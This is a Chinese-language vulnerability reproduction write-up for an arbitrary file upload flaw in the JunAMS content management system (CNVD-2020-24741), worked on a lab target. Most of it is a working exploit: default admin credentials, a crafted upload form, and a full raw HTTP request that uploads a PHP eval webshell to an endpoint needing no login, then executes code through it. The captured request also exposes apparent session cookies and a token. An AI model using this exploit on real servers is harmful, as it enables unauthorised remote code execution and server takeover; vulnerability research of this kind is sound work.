所有文章,仅供安全研究与学习之用,后果自负!
junams 文件上传 (CNVD-2020-24741)
0x01 漏洞描述
JunAMS是一款以ThinkPHP为框架的开源内容管理系统。 JunAMS内容管理系统存在文件上传漏洞,攻击者可利用该漏洞上传webshell,获取服务器权限。 后台路径 /admin.php admin:admin
不用登录后台也可以利用
0x02 影响范围
JunAMS junAMS 1.2.1.20190403
0x03 漏洞复现
(1)访问靶场
(2)前台没有上传功能,进入后台
/admin.php
/admin.php/login/index.html
admin:admin
如果显示正在处理 没有反应 F5刷新一下 进入
(3)
发现在系统设置->版本管理->添加表单中,发现文件上传功能
(4) 利用方法
在上边的 html源代码中
添加一个表单上传功能
action=" "的url地址需要修改
<form enctype="multipart/form-data" action="http://vulfocus.fofa.so:59218//admin.php/common/add_images.html" method="post">
<input type="file" name="file" size="50"><br>
<input type="submit" value="Upload">
</form>
添加好后 点击 浏览-》 开启抓包-》 点击-》upload
上传文件请求包poc
也可以修改 ip和端口直接上传
POST //admin.php/common/add_images.html HTTP/1.1
Host: vulfocus.fofa.so:9461
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:94.0) Gecko/20100101 Firefox/94.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------326774743432415414462475084350
Content-Length: 267
Origin: http://vulfocus.fofa.so:9461
Connection: close
Referer: http://vulfocus.fofa.so:9461/admin.php/edition/add.html
Cookie: Hm_lvt_deaeca6802357287fb453f342ce28dda=1636957776,1637035618,1637078936,1637219652; Hm_lvt_b5514a35664fd4ac6a893a1e56956c97=1636704940,1636709021,1636825689,1637222671; _ga=GA1.2.744261971.1636781886; Hm_lpvt_deaeca6802357287fb453f342ce28dda=1637221849; vue_admin_template_token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyX2lkIjo0ODQ1LCJ1c2VybmFtZSI6IllvdXRoQmVsaWVmIiwiZXhwIjoxNjM3MzA2MDA0LCJlbWFpbCI6IjI0NTU1NjQ2NEBxcS5jb20ifQ.4Gr7Mkd6jMvSpaNITDQoww0jUnSP1d59O34IpzyDpmI; PHPSESSID=7jrca24napuo1umgs5s58dfhvu; _gid=GA1.2.277758474.1637219810; ktqnjecmsdodbdata=empirecms; ktqnjeloginlic=empirecmslic; ktqnjloginadminstyleid=1; ktqnjlogintime=1637222551; ktqnjtruelogintime=1637222430; ktqnjloginuserid=1; ktqnjloginusername=admin; ktqnjloginrnd=5I62uWWbyxT9vB9Fi6FU; ktqnjloginlevel=1; ktqnjloginecmsckpass=35f1e6e02526a8193d735f89d9093f80; ktqnjloginecmsckfrnd=gkgk52G7rpQ6xWOHlfLWxgdFpG9; ktqnjloginecmsckfdef=N0VHyuu3ljnoPVbceYkXaX; ktqnjemecOYNqOjnu=BXWggMbbslguQiExvN; Hm_lpvt_b5514a35664fd4ac6a893a1e56956c97=1637222890; thinkphp_show_page_trace=0|0; eth0_time=1637226896; eth0_num=0; eth0=249.118; login_auto=YXs3g0Y%3D%7C0e2c7f3efd15db77ba3f2ec9ab35f8347cb5be0d
Upgrade-Insecure-Requests: 1
-----------------------------326774743432415414462475084350
Content-Disposition: form-data; name="file"; filename="webshell.php"
Content-Type: application/octet-stream
<?php eval($_REQUEST[1]); ?>
-----------------------------326774743432415414462475084350--
根据响应包的地址访问 上传后的文件
http://vulfocus.fofa.so:59218/public//edit//20211118//408b1894206d126f735d0c65ad74da2c.php?1=phpinfo();
上传成功
蚁剑连接成功
0x04 漏洞修复
升级至最新版本
总结
整个上传流程为:获取图片文件后缀、Mime类型、内容,当后缀为图片文件时,检测内容是否为图片,当后缀不为图片文件时,定义上传目录与文件名,上传成功,返回文件路径。
并且common方法没有受后台权限验证基类Backend限制,任意用户可访问,产生前台任意文件上传漏洞。
详细 漏洞利用分析 可以参考
https://www.cnblogs.com/cHr1s/p/14263008.html